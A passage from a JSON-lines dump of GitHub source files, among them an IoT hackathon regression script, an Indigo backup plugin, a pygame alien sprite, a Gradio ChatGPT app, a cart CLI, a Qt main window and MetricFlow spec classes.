headers=headers, data=json_data)\r\n\r\n    # Check if the request was successful (status code 200)\r\n    if response.status_code == 200:\r\n        # Process the response as needed\r\n        print(\"Request successful\")\r\n    else:\r\n        # Handle the error case\r\n        print(\"Error:\", response.status_code)\r\n\r\ndef main():\r\n    #setup\r\n    #create dataset\r\n    X, y = make_data(200,0.1)\r\n    param_grid = {'polynomialfeatures__degree': np.arange(21),\r\n                  'linearregression__fit_intercept': [True, False]}\r\n    grid = GridSearchCV(PolynomialRegression(), param_grid, cv=7)\r\n    #train model best param by gridsearch\r\n    grid.fit(X, y)\r\n    print(grid.best_params_)\r\n    model = grid.best_estimator_\r\n    #forever loop\r\n    while(True):\r\n        print(\"getting data\")\r\n        Data = getshadow()\r\n        update = Data[\"update\"]\r\n        if(Data[\"update\"]==1):\r\n            print(\"updated data\")\r\n            T_ref=(Data[\"environment\"][\"temperature_ref\"])\r\n            print(\"Tref=\",T_ref)\r\n            IR=Data[\"environment\"][\"IR_output\"]\r\n            print(\"IR=\",IR)\r\n            max_IR = model.predict(np.array([[T_ref]]))[0]\r\n            bestIR = 0.8*max_IR\r\n            print(\"bestIR=\", bestIR)\r\n            #with safty factor=0.8\r\n            if(abs(IR-bestIR)<1000):\r\n                shadow_status_update(0, bestIR)\r\n                print(\"OK\")\r\n            elif(IR-bestIR>1000):\r\n                shadow_status_update(1, bestIR)\r\n                print(\"Careful IR is too high\")\r\n            elif(bestIR-IR>1000):\r\n                shadow_status_update(2,bestIR)\r\n                print(\"Increase IR for more efficient\")\r\n        else:\r\n            print(\"shadow is not updated\")\r\n\r\n        time.sleep(5)\r\n\r\n\r\nmain()\r\n\r\n\r\n\r\n","repo_name":"Ohmpenchart/BJOS_Hackathon","sub_path":"main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10605721905","text":"import os\nimport sys\nimport time\n#import backup_indigo\n#import common_indigo\n################################################################################\n# Globals\n################################################################################\n\nplugin_id \t= \"com.schollnick.indigoplugin.Backup\"\n\n################################################################################\nclass Plugin(indigo.PluginBase):\n\t########################################\n\tdef __init__(self, pluginId, pluginDisplayName, pluginVersion, pluginPrefs):\n\t\tindigo.PluginBase.__init__(self, pluginId, pluginDisplayName, pluginVersion, pluginPrefs)\n\t\t# Setting debug to True will show you verbose debugging information in the Indigo Event Log\n\t\tself.debug = pluginPrefs.get(\"showDebugInfo\", False)\n\t########################################\n\n\tdef __del__(self):\n\t\tindigo.PluginBase.__del__(self)\n\n\n\t########################################\n\t# Built-in control methods\n\t########################################\n\tdef startup(self):\n\t\tself.debugLog (\"Debug Mode is activated.  (Only use if testing...)\")\n\t\t#if not os.path.exists ( os.path.expanduser (\"~/Documents/IndigoBackup\") ):\n\t\t#\tos.makedirs ( os.path.expanduser (\"~/Documents/IndigoBackup\"))\n\n\n\t########################################\n\tdef shutdown(self):\n\t\t# Nothing to do since deviceStopComm will be called for each of our\n\t\t# devices and that's how we'll clean up\n\t\tpass\n\n\tdef\tverify_preference ( self, preferencekey, default_value):\n\t\tif self.pluginPrefs.has_key ( preferencekey):\n\t\t\treturn\n\t\telse:\n\t\t\tself.pluginPrefs [ preferencekey ] = default_value\n\n\n\tdef\tverify_device_properties ( self, dev, propertyname, boolean = False, default_value = \"\") :\n\t\tnewProps = dev.pluginProps\t\t\t#dev.globalProps[plugin_id]\n\t\tif newProps.has_key (propertyname):\n\t\t\treturn\n\t\telse:\n\t\t\tif boolean:\n\t\t\t\tnewProps[propertyname] = True\n\t\t\telse:\n\t\t\t\tnewProps[propertyname] = default_value\n\n\t\t\tdev.replacePluginPropsOnServer(newProps)\n\n\tdef\tupdate_device_property ( self, dev, propertyname, new_value = \"\"):\n\t\tnewProps = dev.pluginProps\n\t\tnewProps.update ( {propertyname : new_value} )\n\t\tdev.replacePluginPropsOnServer(newProps)\n\t\treturn None\n\n\n\tdef PerformManualBackup (self):\n\t\tself.run_Backup ()\n\n\tdef\tPerformTriggeredBackup ( self, action):\n\t\tself.run_Backup()\n\n\tdef\treturn_indigo_path ( self ):\n\t#\n\t#\tNext Generation iws path calculation\n\t#\n\t#\tUses the Indigo Server version to generate the IWS path\n\t#\n\t\treturn indigo.server.getInstallFolderPath()\n\n\n\tdef\trun_Backup ( self ):\n\t#\n\t#\tUpdate requested via Trigger Action\n\t#\n\t\tbackup_target_path = self.pluginPrefs[\"Preferences_BackupLocation\"]\n\n#\t\tindigo.server.log (\"Starting Backup, saving to ~/Documents/IndigoBackup\")\n\t\tindigo.server.log (\"Starting Backup, saving to %s\" % backup_target_path )\n\n# \t\tBackup_Engine = backup_indigo.backup_system ( self.return_indigo_path ()[0:-1],\n#                                     os.path.expanduser ( backup_target_path ),\n#         #                            os.path.expanduser ('~/Documents/IndigoBackup'),\n#                                     \"\",\n#                                     \"\",\n#                                     'Indigo_Backup',\n#                                     True,\n#                                     False)\n#\n# \t\tBackup_Engine.start_archive_engine ( backup_indigo.ZIP )\n# \t\tBackup_Engine.walk_directory_tree ()\n# \t\tBackup_Engine.close_archive_file ()\n\n\t\t#\n\t\t#\tThe Backup engine has started to generate permissions errors with Indigo v6.03\n\t\t#\n\t\t#\tAs a temporary work around, I have switched to using distutils as a shortcut.  I will revisit the\n\t\t#\tbackup engine time permitting.\n\t\t#\n\n\t\timport distutils\n\t\timport distutils.archive_util\n\t\timport zipfile\n\n\t\tarchive_filename_template  = \"Indigo_Backup_%m_%d_%Y__%H_%M_%S\"\n\t\tarchive_filename = \tos.path.expanduser ( backup_target_path + os.sep + time.strftime ( archive_filename_template, time.localtime() ) )\n\t\tindigo.server.log (\" archive filename %s\" % archive_filename)\n\t\tindigo.server.log (\" save path %s\" % backup_target_path)\n\n\t\ttry:\n\t\t\tdistutils.archive_util.make_zipfile ( archive_filename, os.path.expanduser ( self.return_indigo_path () ))\n\t\texcept zipfile.LargeZipFile:\n\t\t\tindigo.server.log (\"Zip File Error, Would require 64 bit extensions\")\n\t\tindigo.server.log (\"Backup Finished.\")\n\n\tdef runConcurrentThread(self):\n\t\t#\n\t\t#\n\t\tself.verify_preference ( \"Preferences_Timing\", \t\t\t20160)\n\t\tself.verify_preference ( \"Preferences_BackupLocation\", \t\"~/Documents/IndigoBackup\")\n\t\tself.verify_preference ( \"Preferences_BackupSchedule\", \tTrue)\n\n\t\ttry:\n\t\t\twhile self.stopThread == False:\n\n\t\t\t\tif not os.path.exists ( os.path.expanduser ( self.pluginPrefs[\"Preferences_BackupLocation\"] ) ):\n\t\t\t\t\tos.makedirs ( os.path.expanduser ( self.pluginPrefs[\"Preferences_BackupLocation\"] ))\n\n\t\t\t\tif self.pluginPrefs[\"Preferences_BackupSchedule\"]==True:\n\t\t\t\t\tself.run_Backup ( )\n\t\t\t\t\tself.sleep ( int(self.pluginPrefs[\"Preferences_Timing\"]) * 60 )\n\t\t\t\telse:\n\t\t\t\t\tself.sleep ( 512 )\n\n\t\texcept self.StopThread:\n\t\t\tself.stopThread = True\n\t\t\tindigo.server.log (\"Stopping Plugin\")\n","repo_name":"bschollnick/Indigo-Backup","sub_path":"Indigo Backup.indigoPlugin/Contents/Server Plugin/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":5052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8827198886","text":"\"\"\"\n创建外星人对象\n\"\"\"\nimport pygame\nfrom setting import Setting\nfrom pygame.sprite import Sprite\nclass Alien(Sprite):\n    def __init__(self,game_setting:Setting,screen):\n        super(Alien,self).__init__()\n        self.game_setting = game_setting\n        self.screen = screen\n\n        #创建外星人\n        self.image = pygame.image.load(\"images/alien.bmp\")\n        self.rect = self.image.get_rect()\n\n        #设置外星人的位置\n        self.rect.x = self.rect.width\n        self.rect.y = self.rect.height\n\n        #存储外星人的y坐标\n        self.y = float(self.rect.y)\n\n    def blitme(self):\n        #显示出外星人\n        self.screen.blit(self.image,self.rect)\n\n    #更新外星人的位置\n    def update(self):\n        \"\"\"向右移动外星人\"\"\"\n        self.x = float(self.rect.x)\n        self.x += (self.game_setting.alien_speed_factor*self.game_setting.fleet_direction)\n        self.rect.x = int(self.x)\n\n    #检查外星人驾驶的飞船是否碰到边缘\n    def check_edges(self):\n        \"\"\"如果外星人位于屏幕边缘，就放回True\"\"\"\n        screen_rect = self.screen.get_rect()\n        if self.rect.right >= screen_rect.right:\n            return True\n        elif self.rect.left <= 0:\n            return True\n","repo_name":"songlinyang/fighting_alien","sub_path":"alien.py","file_name":"alien.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10671817897","text":"import gradio as gr\nimport openai\n\nopenai.api_key = open('key.txt', 'r').read().strip('\\n')\n\nmessage_history = []\n\ndef predict(inp):\n    global message_history\n    message_history.append({\"role\": \"user\", \"content\": inp})\n    completion = openai.ChatCompletion.create(\n        model=\"gpt-3.5-turbo\",\n        messages=message_history\n    )\n    reply_content = completion['choices'][0]['message']['content']\n    print(reply_content)\n    message_history.append({\"role\": \"assistant\", \"content\": reply_content})\n    response = [(message_history[0]['content'], message_history[i+1][\"content\"]) for i in range(2, len(message_history)-1, 2)]\n    return reply_content\n\nwith gr.Blocks() as demo:\n    chatbot = gr.Chatbot()\n    with gr.Row():\n        txt = gr.Textbox(show_label=False, placeholder='Type you message here').style(container=False)\n        txt.submit(predict, txt, chatbot)\n        txt.submit(None, None, txt, _js=\"()=> {''}\")\n\ndemo.launch()","repo_name":"weronikazak/ML-Projects","sub_path":"ChatGPT/chatapp.py","file_name":"chatapp.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"3295964400","text":"import argparse\n\nfrom typing import List\nfrom core import process_cart\n\nfrom constants import ARG_PARSER_DESCRIPTION, ItemName\n\n\ndef parse_command_line_arguments():\n    arg_parser = argparse.ArgumentParser(description=ARG_PARSER_DESCRIPTION)\n    arg_parser.add_argument(\n        \"--cart\",\n        nargs=\"+\",  # To ensure that there is at least 1 item in the cart\n        default=[],\n        choices=ItemName.list(),  # Enum for choices\n        type=str.upper,\n        help=\"List of items in the cart, could be any of : {}\".format(\n            ItemName.list()\n        ),\n        required=True\n    )\n    cart: List[str] = arg_parser.parse_args().cart\n    process_cart(cart=cart)\n","repo_name":"rootsec1/pricing-basket-pwc","sub_path":"cli/cmd_parser.py","file_name":"cmd_parser.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7286657331","text":"# python srMain.py\n######################################################\n# srMain.py\n# This is a main script for the application\n######################################################\n\ntry:\n   # from PySide2.QtCore    import\n    from PySide2.QtGui     import QIcon\n    from PySide2.QtWidgets import QApplication, QMainWindow\nexcept:\n   # from PyQt5.QtCore    import\n    from PyQt5.QtGui     import QIcon\n    from PyQt5.QtWidgets import QApplication, QMainWindow\n\n\nfrom sys import exit as sysExit\n# from center_pane import CenterPanel\n# from backend     import Database\n\n\n\n\nclass Main(QMainWindow):\n    def __init__(self):\n        QMainWindow.__init__(self)\n        self.setWindowTitle(\"SR test\")\n        self.setWindowIcon(QIcon(\"assets/icons/logo-dark.png\"))\n        self.setGeometry(150, 150, 1470, 750)\n\n        self.setStyleSheet('QMainWindow{background-color: #F4F7F9;}')\n\n        # self.SmpRptDbase = Database(\"sr-data.db\")\n        #\n        # self.CenterPane = CenterPanel(self)\n        # self.setCentralWidget(self.CenterPane)\n\n        # self.MenuBar = MenuToolBar(self)\n\n        self.StatBar = self.statusBar()\n        self.SetStatusBar()\n\n    def SetStatusBar(self, StatusMsg=''):\n        if len(StatusMsg) < 1:\n            StatusMsg = 'Ready'\n        self.StatBar.showMessage(StatusMsg)\n\n\nif __name__ == \"__main__\":\n    MainEventThread = QApplication([])\n\n    MainApplication = Main()\n    MainApplication.show()\n\n    sysExit(MainEventThread.exec_())\n","repo_name":"periwinkleFTW/sr-desktop-2-app","sub_path":"project_001/srMain.py","file_name":"srMain.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8966282572","text":"\"\"\"These spec classes generally describe something that we want or have.\n\n* Not too many comments here since they seem mostly self-explanatory.\n* To see whether a spec matches something that already exists, there could be a method that allows you to match a spec\n  to another spec or relevant object.\n* The match() method will enable sub-classes (may require some restructuring) to use specs to request things like,\n  metrics named \"sales*\".\n\"\"\"\n\nfrom __future__ import annotations\n\nimport itertools\nimport logging\nfrom abc import ABC, abstractmethod\nfrom dataclasses import dataclass\nfrom hashlib import sha1\nfrom typing import Any, Generic, List, Optional, Sequence, Tuple, TypeVar\n\nfrom dbt_semantic_interfaces.dataclass_serialization import SerializableDataclass\nfrom dbt_semantic_interfaces.implementations.metric import PydanticMetricTimeWindow\nfrom dbt_semantic_interfaces.references import (\n    DimensionReference,\n    EntityReference,\n    MeasureReference,\n    MetricReference,\n    TimeDimensionReference,\n)\nfrom dbt_semantic_interfaces.type_enums.aggregation_type import AggregationType\nfrom dbt_semantic_interfaces.type_enums.time_granularity import TimeGranularity\n\nfrom metricflow.aggregation_properties import AggregationState\nfrom metricflow.filters.time_constraint import TimeRangeConstraint\nfrom metricflow.naming.linkable_spec_name import StructuredLinkableSpecName\nfrom metricflow.sql.sql_bind_parameters import SqlBindParameters\nfrom metricflow.sql.sql_column_type import SqlColumnType\nfrom metricflow.time.date_part import DatePart\nfrom metricflow.visitor import VisitorOutputT\n\n\ndef hash_items(items: Sequence[SqlColumnType]) -> str:\n    \"\"\"Produces a hash from a list of strings.\"\"\"\n    hash_builder = sha1()\n    for item in items:\n        hash_builder.update(str(item).encode(\"utf-8\"))\n    return hash_builder.hexdigest()\n\n\nclass InstanceSpecVisitor(Generic[VisitorOutputT], ABC):\n    \"\"\"Visitor for the InstanceSpec classes.\"\"\"\n\n    @abstractmethod\n    def visit_measure_spec(self, measure_spec: MeasureSpec) -> VisitorOutputT:  # noqa: D\n        raise NotImplementedError\n\n    @abstractmethod\n    def visit_dimension_spec(self, dimension_spec: DimensionSpec) -> VisitorOutputT:  # noqa: D\n        raise NotImplementedError\n\n    @abstractmethod\n    def visit_time_dimension_spec(self, time_dimension_spec: TimeDimensionSpec) -> VisitorOutputT:  # noqa: D\n        raise NotImplementedError\n\n    @abstractmethod\n    def visit_entity_spec(self, entity_spec: EntitySpec) -> VisitorOutputT:  # noqa: D\n        raise NotImplementedError\n\n    @abstractmethod\n    def visit_metric_spec(self, metric_spec: MetricSpec) -> VisitorOutputT:  # noqa: D\n        raise NotImplementedError\n\n    @abstractmethod\n    def visit_metadata_spec(self, metadata_spec: MetadataSpec) -> VisitorOutputT:  # noqa: D\n        raise NotImplementedError\n\n\n@dataclass(frozen=True)\nclass InstanceSpec(SerializableDataclass):\n    \"\"\"A specification for an instance of a metric definition object.\n\n    An instance is different from the definition object in that it correlates to columns in the data flow and can be in\n    different states. e.g. a time dimension at a different time granularity.\n\n    This can't be a Protocol as base classes of Protocols need to be Protocols.\n    \"\"\"\n\n    \"\"\"Name of the dimension or entity in the semantic model.\"\"\"\n    element_name: str\n\n    @staticmethod\n    def merge(*specs: Sequence[InstanceSpec]) -> List[InstanceSpec]:\n        \"\"\"Merge all specs into a single list.\"\"\"\n        result: List[InstanceSpec] = []\n        for spec in specs:\n            result.extend(spec)\n        return result\n\n    @property\n    def qualified_name(self) -> str:\n        \"\"\"Return the qualified name of this spec. e.g. \"user_id__country\".\"\"\"\n        raise NotImplementedError()\n\n    def accept(self, visitor: InstanceSpecVisitor[VisitorOutputT]) -> VisitorOutputT:\n        \"\"\"See Visitable.\"\"\"\n        raise NotImplementedError()\n\n\nSelfTypeT = TypeVar(\"SelfTypeT\", bound=\"LinkableInstanceSpec\")\n\n\n@dataclass(frozen=True)\nclass MetadataSpec(InstanceSpec):\n    \"\"\"A specification for a specification that is built during the dataflow plan and not defined in config.\"\"\"\n\n    element_name: str\n\n    @property\n    def qualified_name(self) -> str:  # noqa: D\n        return self.element_name\n\n    @staticmethod\n    def from_name(name: str) -> MetadataSpec:  # noqa: D\n        return MetadataSpec(element_name=name)\n\n    def accept(self, visitor: InstanceSpecVisitor[VisitorOutputT]) -> VisitorOutputT:  # noqa: D\n        return visitor.visit_metadata_spec(self)\n\n\n@dataclass(frozen=True)\nclass LinkableInstanceSpec(InstanceSpec, ABC):\n    \"\"\"Generally a dimension or entity that may be specified using entity links.\n\n    For example, user_id__country -> LinkableElementSpec(element_name=\"country\", entity_links=[\"user_id\"]\n\n    See InstanceSpec for the reason behind \"type: ignore\"\n    \"\"\"\n\n    \"\"\"A list representing the join path of entities to get to this element.\"\"\"\n    entity_links: Tuple[EntityReference, ...]\n\n    @property\n    def without_first_entity_link(self: SelfTypeT) -> SelfTypeT:\n        \"\"\"e.g. user_id__device_id__platform -> device_id__platform.\"\"\"\n        raise NotImplementedError()\n\n    @property\n    def without_entity_links(self: SelfTypeT) -> SelfTypeT:  # noqa: D\n        \"\"\"e.g. user_id__device_id__platform -> platform.\"\"\"\n        raise NotImplementedError()\n\n    @staticmethod\n    def merge_linkable_specs(*specs: Sequence[LinkableInstanceSpec]) -> List[LinkableInstanceSpec]:\n        \"\"\"Merge all specs into a single list.\"\"\"\n        result: List[LinkableInstanceSpec] = []\n        for spec in specs:\n            result.extend(spec)\n        return result\n\n    @property\n    def qualified_name(self) -> str:\n        \"\"\"Return the qualified name of this spec. e.g. \"user_id__country\".\"\"\"\n        return StructuredLinkableSpecName(\n            entity_link_names=tuple(x.element_name for x in self.entity_links), element_name=self.element_name\n        ).qualified_name\n\n    @property\n    def as_linkable_spec_set(self) -> LinkableSpecSet:  # noqa: D\n        raise NotImplementedError\n\n\n@dataclass(frozen=True)\nclass EntitySpec(LinkableInstanceSpec, SerializableDataclass):  # noqa: D\n    @property\n    def without_first_entity_link(self) -> EntitySpec:  # noqa: D\n        assert len(self.entity_links) > 0, f\"Spec does not have any entity links: {self}\"\n        return EntitySpec(element_name=self.element_name, entity_links=self.entity_links[1:])\n\n    @property\n    def without_entity_links(self) -> EntitySpec:  # noqa: D\n        return LinklessEntitySpec.from_element_name(self.element_name)\n\n    @property\n    def as_linkless_prefix(self) -> Tuple[EntityReference, ...]:\n        \"\"\"Creates tuple of linkless entities that could be included in the entity_links of another spec.\n\n        eg as a prefix to a DimensionSpec's entity links to when a join is occurring via this entity\n        \"\"\"\n        return (EntityReference(element_name=self.element_name),) + self.entity_links\n\n    @staticmethod\n    def from_name(name: str) -> EntitySpec:  # noqa: D\n        structured_name = StructuredLinkableSpecName.from_name(name)\n        return EntitySpec(\n            entity_links=tuple(EntityReference(idl) for idl in structured_name.entity_link_names),\n            element_name=structured_name.element_name,\n        )\n\n    def __eq__(self, other: Any) -> bool:  # type: ignore[misc] # noqa: D\n        if not isinstance(other, EntitySpec):\n            return False\n        return self.element_name == other.element_name and self.entity_links == other.entity_links\n\n    def __hash__(self) -> int:  # noqa: D\n        return hash((self.element_name, self.entity_links))\n\n    @property\n    def reference(self) -> EntityReference:  # noqa: D\n        return EntityReference(element_name=self.element_name)\n\n    @property\n    def as_linkable_spec_set(self) -> LinkableSpecSet:  # noqa: D\n        return LinkableSpecSet(entity_specs=(self,))\n\n    def accept(self, visitor: InstanceSpecVisitor[VisitorOutputT]) -> VisitorOutputT:  # noqa: D\n        return visitor.visit_entity_spec(self)\n\n\n@dataclass(frozen=True)\nclass LinklessEntitySpec(EntitySpec, SerializableDataclass):\n    \"\"\"Similar to EntitySpec, but requires that it doesn't have entity links.\"\"\"\n\n    @staticmethod\n    def from_element_name(element_name: str) -> LinklessEntitySpec:  # noqa: D\n        return LinklessEntitySpec(element_name=element_name, entity_links=())\n\n    def __post_init__(self) -> None:  # noqa: D\n        if len(self.entity_links) > 0:\n            raise RuntimeError(f\"{self.__class__.__name__} shouldn't have entity links. Got: {self}\")\n\n    def __eq__(self, other: Any) -> bool:  # type: ignore[misc] # noqa: D\n        if not isinstance(other, EntitySpec):\n            return False\n        return self.element_name == other.element_name and self.entity_links == other.entity_links\n\n    def __hash__(self) -> int:  # noqa: D\n        return hash((self.element_name, self.entity_links))\n\n    @staticmethod\n    def from_reference(entity_reference: EntityReference) -> LinklessEntitySpec:  # noqa: D\n        return LinklessEntitySpec(element_name=entity_reference.element_name, entity_links=())\n\n\n@dataclass(frozen=True)\nclass DimensionSpec(LinkableInstanceSpec, SerializableDataclass):  # noqa: D\n    element_name: str\n    entity_links: Tuple[EntityReference, ...]\n\n    @property\n    def without_first_entity_link(self) -> DimensionSpec:  # noqa: D\n        assert len(self.entity_links) > 0, f\"Spec does not have any entity links: {self}\"\n        return DimensionSpec(element_name=self.element_name, entity_links=self.entity_links[1:])\n\n    @property\n    def without_entity_links(self) -> DimensionSpec:  # noqa: D\n        return DimensionSpec(element_name=self.element_name, entity_links=())\n\n    @staticmethod\n    def from_linkable(spec: LinkableInstanceSpec) -> DimensionSpec:  # noqa: D\n        return DimensionSpec(element_name=spec.element_name, entity_links=spec.entity_links)\n\n    @staticmethod\n    def from_name(name: str) -> DimensionSpec:\n        \"\"\"Construct from a name e.g. listing__ds__month.\"\"\"\n        parsed_name = StructuredLinkableSpecName.from_name(name)\n        return DimensionSpec(\n            entity_links=tuple([EntityReference(idl) for idl in parsed_name.entity_link_names]),\n            element_name=parsed_name.element_name,\n        )\n\n    @property\n    def reference(self) -> DimensionReference:  # noqa: D\n        return DimensionReference(element_name=self.element_name)\n\n    @property\n    def as_linkable_spec_set(self) -> LinkableSpecSet:  # noqa: D\n        return LinkableSpecSet(dimension_specs=(self,))\n\n    def accept(self, visitor: InstanceSpecVisitor[VisitorOutputT]) -> VisitorOutputT:  # noqa: D\n        return visitor.visit_dimension_spec(self)\n\n\nDEFAULT_TIME_GRANULARITY = TimeGranularity.DAY\n\n\n@dataclass(frozen=True)\nclass TimeDimensionSpec(DimensionSpec):  # noqa: D\n    time_granularity: TimeGranularity = DEFAULT_TIME_GRANULARITY\n    date_part: Optional[DatePart] = None\n\n    # Used for semi-additive joins. Some more thought is needed, but this may be useful in InstanceSpec.\n    aggregation_state: Optional[AggregationState] = None\n\n    @property\n    def without_first_entity_link(self) -> TimeDimensionSpec:  # noqa: D\n        assert len(self.entity_links) > 0, f\"Spec does not have any entity links: {self}\"\n        return TimeDimensionSpec(\n            element_name=self.element_name,\n            entity_links=self.entity_links[1:],\n            time_granularity=self.time_granularity,\n            date_part=self.date_part,\n        )\n\n    @property\n    def without_entity_links(self) -> TimeDimensionSpec:  # noqa: D\n        return TimeDimensionSpec.from_name(self.element_name)\n\n    @staticmethod\n    def from_name(name: str) -> TimeDimensionSpec:  # noqa: D\n        structured_name = StructuredLinkableSpecName.from_name(name)\n        return TimeDimensionSpec(\n            entity_links=tuple(EntityReference(idl) for idl in structured_name.entity_link_names),\n            element_name=structured_name.element_name,\n            time_granularity=structured_name.time_granularity or DEFAULT_TIME_GRANULARITY,\n        )\n\n    @property\n    def reference(self) -> TimeDimensionReference:  # noqa: D\n        return TimeDimensionReference(element_name=self.element_name)\n\n    @property\n    def dimension_reference(self) -> DimensionReference:  # noqa: D\n        return DimensionReference(element_name=self.element_name)\n\n    @property\n    def qualified_name(self) -> str:  # noqa: D\n        return StructuredLinkableSpecName(\n            entity_link_names=tuple(x.element_name for x in self.entity_links),\n            element_name=self.element_name,\n            time_granularity=self.time_granularity,\n            date_part=self.date_part,\n        ).qualified_name\n\n    @property\n    def as_linkable_spec_set(self) -> LinkableSpecSet:  # noqa: D\n        return LinkableSpecSet(time_dimension_specs=(self,))\n\n    def accept(self, visitor: InstanceSpecVisitor[VisitorOutputT]) -> VisitorOutputT:  # noqa: D\n        return visitor.visit_time_dimension_spec(self)\n\n    def with_aggregation_state(self, aggregation_state: AggregationState) -> TimeDimensionSpec:  # noqa: D\n        return TimeDimensionSpec(\n            element_name=self.element_name,\n            entity_links=self.entity_links,\n            time_granularity=self.time_granularity,\n            date_part=self.date_part,\n            aggregation_state=aggregation_state,\n        )\n\n\n@dataclass(frozen=True)\nclass NonAdditiveDimensionSpec(SerializableDataclass):\n    \"\"\"Spec representing non-additive dimension parameters for use within a MeasureSpec.\n\n    This is sourced from the NonAdditiveDimensionParameters model object, which provides the parsed parameter set,\n    while the spec contains the information needed for dataflow plan operations\n    \"\"\"\n\n    name: str\n    window_choice: AggregationType\n    window_groupings: Tuple[str, ...] = ()\n\n    @property\n    def bucket_hash(self) -> str:\n        \"\"\"Returns the hash value used for grouping equivalent params.\"\"\"\n        values = [self.window_choice.name, self.name]\n        values.extend(sorted(self.window_groupings))\n        return hash_items(values)\n\n    @property\n    def linkable_specs(self) -> LinkableSpecSet:  # noqa: D\n        return LinkableSpecSet(\n            dimension_specs=(),\n            time_dimension_specs=(TimeDimensionSpec.from_name(self.name),),\n            entity_specs=tuple(\n                LinklessEntitySpec.from_element_name(entity_name) for entity_name in self.window_groupings\n            ),\n        )\n\n    def __eq__(self, other: Any) -> bool:  # type: ignore[misc] # noqa: D\n        if not isinstance(other, NonAdditiveDimensionSpec):\n            return False\n        return self.bucket_hash == other.bucket_hash\n\n\n@dataclass(frozen=True)\nclass MeasureSpec(InstanceSpec):  # noqa: D\n    element_name: str\n    non_additive_dimension_spec: Optional[NonAdditiveDimensionSpec] = None\n\n    @staticmethod\n    def from_name(name: str) -> MeasureSpec:\n        \"\"\"Construct from a name e.g. listing__ds__month.\"\"\"\n        return MeasureSpec(element_name=name)\n\n    @staticmethod\n    def from_reference(reference: MeasureReference) -> MeasureSpec:\n        \"\"\"Initialize from a measure reference instance.\"\"\"\n        return MeasureSpec(element_name=reference.element_name)\n\n    @property\n    def qualified_name(self) -> str:  # noqa: D\n        return self.element_name\n\n    @property\n    def as_reference(self) -> MeasureReference:  # noqa: D\n        return MeasureReference(element_name=self.element_name)\n\n    def accept(self, visitor: InstanceSpecVisitor[VisitorOutputT]) -> VisitorOutputT:  # noqa: D\n        return visitor.visit_measure_spec(self)\n\n\n@dataclass(frozen=True)\nclass MetricSpec(InstanceSpec):  # noqa: D\n    # Time-over-time could go here\n    element_name: str\n    constraint: Optional[WhereFilterSpec] = None\n    alias: Optional[str] = None\n    offset_window: Optional[PydanticMetricTimeWindow] = None\n    offset_to_grain: Optional[TimeGranularity] = None\n\n    @staticmethod\n    def from_element_name(element_name: str) -> MetricSpec:  # noqa: D\n        return MetricSpec(element_name=element_name)\n\n    @property\n    def qualified_name(self) -> str:  # noqa: D\n        return self.element_name\n\n    @property\n    def as_reference(self) -> MetricReference:  # noqa: D\n        return MetricReference(element_name=self.element_name)\n\n    @staticmethod\n    def from_reference(reference: MetricReference) -> MetricSpec:\n        \"\"\"Initialize from a metric reference instance.\"\"\"\n        return MetricSpec(element_name=reference.element_name)\n\n    @property\n    def alias_spec(self) -> MetricSpec:\n        \"\"\"Returns a MetricSpec represneting the alias state.\"\"\"\n        return MetricSpec(\n            element_name=self.alias or self.element_name,\n            constraint=self.constraint,\n        )\n\n    def accept(self, visitor: InstanceSpecVisitor[VisitorOutputT]) -> VisitorOutputT:  # noqa: D\n        return visitor.visit_metric_spec(self)\n\n\n@dataclass(frozen=True)\nclass MetricInputMeasureSpec(SerializableDataclass):\n    \"\"\"The spec for a measure defined as a metric input.\n\n    This is necessary because the MeasureSpec is used as a key linking the measures used in the query\n    to the measures defined in the semantic models. Adding metric-specific information, like constraints,\n    causes lookups connecting query -> semantic model to fail in strange ways. This spec, then, provides\n    both the key (in the form of a MeasureSpec) along with whatever measure-specific attributes\n    a user might specify in a metric definition or query accessing the metric itself.\n\n    Note - when specifying a metric comprised of two input instances of the same measure, at least one\n    must have a distinct alias, otherwise SQL exceptions may occur. This should be enforced via validation.\n    \"\"\"\n\n    measure_spec: MeasureSpec\n    constraint: Optional[WhereFilterSpec] = None\n    alias: Optional[str] = None\n\n    @property\n    def post_aggregation_spec(self) -> MeasureSpec:\n        \"\"\"Return a MeasureSpec instance representing the post-aggregation spec state for the underlying measure.\"\"\"\n        if self.alias:\n            return MeasureSpec(\n                element_name=self.alias,\n                non_additive_dimension_spec=self.measure_spec.non_additive_dimension_spec,\n            )\n        else:\n            return self.measure_spec\n\n\n@dataclass(frozen=True)\nclass OrderBySpec(SerializableDataclass):  # noqa: D\n    instance_spec: InstanceSpec\n    descending: bool\n\n\n@dataclass(frozen=True)\nclass FilterSpec(SerializableDataclass):  # noqa: D\n    expr: str\n    elements: Tuple[InstanceSpec, ...]\n\n\n@dataclass(frozen=True)\nclass LinkableSpecSet(SerializableDataclass):\n    \"\"\"Groups linkable specs.\"\"\"\n\n    dimension_specs: Tuple[DimensionSpec, ...] = ()\n    time_dimension_specs: Tuple[TimeDimensionSpec, ...] = ()\n    entity_specs: Tuple[EntitySpec, ...] = ()\n\n    @property\n    def as_tuple(self) -> Tuple[LinkableInstanceSpec, ...]:  # noqa: D\n        return tuple(itertools.chain(self.dimension_specs, self.time_dimension_specs, self.entity_specs))\n\n    @staticmethod\n    def merge(spec_sets: Sequence[LinkableSpecSet]) -> LinkableSpecSet:\n        \"\"\"Merges and dedupes the linkable specs.\"\"\"\n        dimension_specs: List[DimensionSpec] = []\n        time_dimension_specs: List[TimeDimensionSpec] = []\n        entity_specs: List[EntitySpec] = []\n\n        for spec_set in spec_sets:\n            for dimension_spec in spec_set.dimension_specs:\n                if dimension_spec not in dimension_specs:\n                    dimension_specs.append(dimension_spec)\n            for time_dimension_spec in spec_set.time_dimension_specs:\n                if time_dimension_spec not in time_dimension_specs:\n                    